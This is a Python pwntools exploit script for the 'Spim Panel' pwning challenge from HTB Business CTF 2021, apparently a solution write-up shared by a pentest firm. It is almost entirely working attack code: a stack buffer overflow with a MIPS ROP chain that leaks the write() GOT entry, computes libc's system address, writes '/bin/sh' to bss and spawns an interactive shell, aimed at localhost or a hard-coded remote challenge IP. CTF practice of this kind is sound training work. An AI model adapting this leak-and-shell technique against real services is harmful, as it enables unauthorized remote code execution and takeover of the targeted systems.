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''' | |
Exploit for the "Spim Panel" pwning challenge | |
HTB Business CTF 2021 | |
DeteAct (https://pentest.global/) | |
''' | |
from pwn import * | |
def pack(x): | |
return p32(x, endian='big') | |
def unpack(x): | |
return u32(x, endian='big') | |
elf = ELF('./distributed/bin/vuln') | |
libc = ELF('./distributed/bin/libc.so.6') | |
write_plt = elf.symbols['write'] | |
write_got = elf.got['write'] | |
read_got = elf.got['read'] | |
check_pass = elf.symbols['check_pass'] | |
bss = elf.bss(0) | |
lw = 0x4016F0 | |
call = 0x4016D0 | |
print('lw: 0x%x' % lw) | |
print('call: 0x%x' % call) | |
if True: | |
s = remote('localhost', 1337) | |
''' | |
s = process([ | |
'qemu-mips', | |
'-g', '1234', | |
'-strace', | |
'distributed/bin/ld-2.30.so', | |
'--inhibit-cache', | |
'--library-path', 'distributed/bin', | |
'distributed/bin/vuln']) | |
''' | |
else: | |
s = remote('167.99.194.59', 32621) | |
s.recvuntil('please: ') | |
rop = b'\x00' | |
rop += b'a' * 103 | |
rop += b'a' * 4 # s8 | |
rop += pack(lw) | |
rop += b'a' * 28 | |
rop += pack(write_got) # s0 | |
rop += pack(0) # s1 | |
rop += pack(1) # s2 | |
rop += pack(1) # s3 | |
rop += pack(write_got) # s4 | |
rop += pack(4) # s5 | |
rop += pack(call) | |
rop += b'a' * 52 | |
rop += pack(check_pass) | |
s.send(b'%s\n' % rop) | |
write = unpack(s.recv(4)) | |
system = write - libc.symbols['write'] + libc.symbols['system'] | |
print("system: 0x%x" % system) | |
rop = b'\x00' | |
rop += b'a' * 103 | |
rop += b'a' * 4 # s8 | |
rop += pack(lw) | |
rop += b'a' * 28 | |
rop += pack(read_got) | |
rop += pack(0) | |
rop += pack(1) | |
rop += pack(0) | |
rop += pack(bss) | |
rop += pack(100) | |
rop += pack(call) | |
rop += b'a' * 52 | |
rop += pack(check_pass) | |
s.send(b'%s\n' % rop) | |
s.send(pack(system) + b'/bin/sh\x00\n') | |
rop = b'\x00' | |
rop += b'a' * 103 | |
rop += b'a' * 4 # s8 | |
rop += pack(lw) | |
rop += b'a' * 28 | |
rop += pack(bss) | |
rop += pack(0) | |
rop += pack(1) | |
rop += pack(bss + 4) | |
rop += pack(0) | |
rop += pack(0) | |
rop += pack(call) | |
raw_input('PWN> ') | |
s.send(b'%s\n' % rop) | |
s.interactive() |
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